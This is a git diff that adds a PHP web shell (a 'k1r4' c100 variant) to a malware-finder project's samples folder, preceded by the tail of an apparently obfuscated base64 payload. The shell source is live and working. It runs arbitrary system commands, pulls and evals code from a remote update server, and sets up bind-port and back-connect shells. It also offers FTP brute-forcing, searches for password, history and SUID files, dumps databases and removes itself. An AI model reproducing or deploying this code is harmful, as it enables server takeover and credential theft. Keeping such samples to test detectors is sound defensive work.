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");?>
diff --git a/php-malware-finder/samples/classic/c100.php b/php-malware-finder/samples/classic/c100.php
new file mode 100644
index 0000000..529d1aa
--- /dev/null
+++ b/php-malware-finder/samples/classic/c100.php
@@ -0,0 +1,3154 @@
+$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+
+$shver = "MeTaLTeaM (ORG) was here"; //Current version
+//CONFIGURATION AND SETTINGS
+if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
+else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
+}
+
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+
+
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Restricted area"; //http-auth message.
+$accessdeniedmess = " MeTaLTeaM . Org ".$shver.": access denied";
+
+$gzipencode = TRUE; //Encode with gzip?
+
+$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
+
+$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
+$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
+
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+
+$donated_html = "Owned by MeTaLTeaM . O R G ";
+/* If you publish free shell and you wish
+add link to your site or any other information,
+put here your html. */
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+
+$curdir = "./"; //start folder
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
+$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
+
+$log_email = "+-à èù@gmail.com"; //Default e-mail for sending logs
+
+$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
+$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
+
+// Registered file-types.
+// array(
+// "{action1}"=>array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext4","ext5","ext6",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+// Registered executable file-types.
+// array(
+// string "command{i}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+// {command}: %f% = filename
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+
+/* Highlighted files.
+ array(
+ i=>array({regexp},{type},{opentag},{closetag},{break})
+ ...
+ )
+ string {regexp} - regular exp.
+ int {type}:
+0 - files and folders (as default),
+1 - files only, 2 - folders only
+ string {opentag} - open html-tag, e.g. "" (default)
+ string {closetag} - close html-tag, e.g. " " (default)
+ bool {break} - if TRUE and found match then break
+*/
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+
+$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
+ // array (i=>{letter} ...); string {letter} - letter of a drive
+//$safemode_diskettes = range("a","z");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+$bindport_pass = "k1r4"; // default password for binding
+$bindport_port = "31373"; // default port for binding
+$bc_port = "31373"; // default port for back-connect
+$datapipe_localport = "8081"; // default port for datapipe
+
+// Command-aliases
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+
+$sess_cookie = "k1r4vars"; // Cookie-variable name
+
+$usefsbuff = TRUE; //Buffer-function
+$copy_unset = FALSE; //Remove copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array(
+ array(" ",$surl),
+ array(" ","#\" onclick=\"history.back(1)"),
+ array(" ","#\" onclick=\"history.go(1)"),
+ array(" ",$surl."act=ls&d=%upd&sort=%sort"),
+ array(" ",""),
+ array(" ",$surl."act=search&d=%d"),
+ array(" ",$surl."act=fsbuff&d=%d"),
+ array("Encoder ",$surl."act=encoder&d=%d"),
+ array("Tools ",$surl."act=tools&d=%d"),
+ array("Proc. ",$surl."act=processes&d=%d"),
+ array("FTP brute ",$surl."act=ftpquickbrute&d=%d"),
+ array("Sec. ",$surl."act=security&d=%d"),
+ array("SQL ",$surl."act=sql&d=%d"),
+ array("PHP-code ",$surl."act=eval&d=%d"),
+ array("Update ",$surl."act=update&d=%d"),
+ array("Feedback ",$surl."act=feedback&d=%d"),
+ array("Self remove ",$surl."act=selfremove"),
+ array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["k1r4cook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img")
+{
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("k1r4_buff_prepare"))
+{
+function k1r4_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+k1r4_buff_prepare();
+if (!function_exists("k1r4_sess_put"))
+{
+function k1r4_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ k1r4_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("k1r4getsource"))
+{
+function k1r4getsource($fn)
+{
+ global $k1r4_sourcesurl;
+ $array = array(
+ "k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
+ "k1r4_bindport.c" => "k1r4_bindport_c.txt",
+ "k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
+ "k1r4_backconn.c" => "k1r4_backconn_c.txt",
+ "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
+ "k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("k1r4_getupdate"))
+{
+function k1r4_getupdate($update = TRUE)
+{
+ $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
+ $data = @file_get_contents($url);
+ if (!$data) {return "Can't connect to update-server!";}
+ else
+ {
+ $data = ltrim($data);
+ $string = substr($data,3,ord($data{2}));
+ if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
+ if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
+ if ($data{0} == "\x99" and $data{1} == "\x03")
+ {
+ $string = explode("\x01",$string);
+ if ($update)
+ {
+ $confvars = array();
+ $sourceurl = $string[0];
+ $source = file_get_contents($sourceurl);
+ if (!$source) {return "Can't fetch update!";}
+ else
+ {
+ $fp = fopen(__FILE__,"w");
+ if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here .";}
+ else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
+ }
+ }
+ else {return "New version are available: ".$string[1];}
+ }
+ elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
+ else {return "Error in protocol: segmentation failed! (".$data.") ";}
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by kira.SQL v. ".$shver."
+# Home page: http://google.com
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
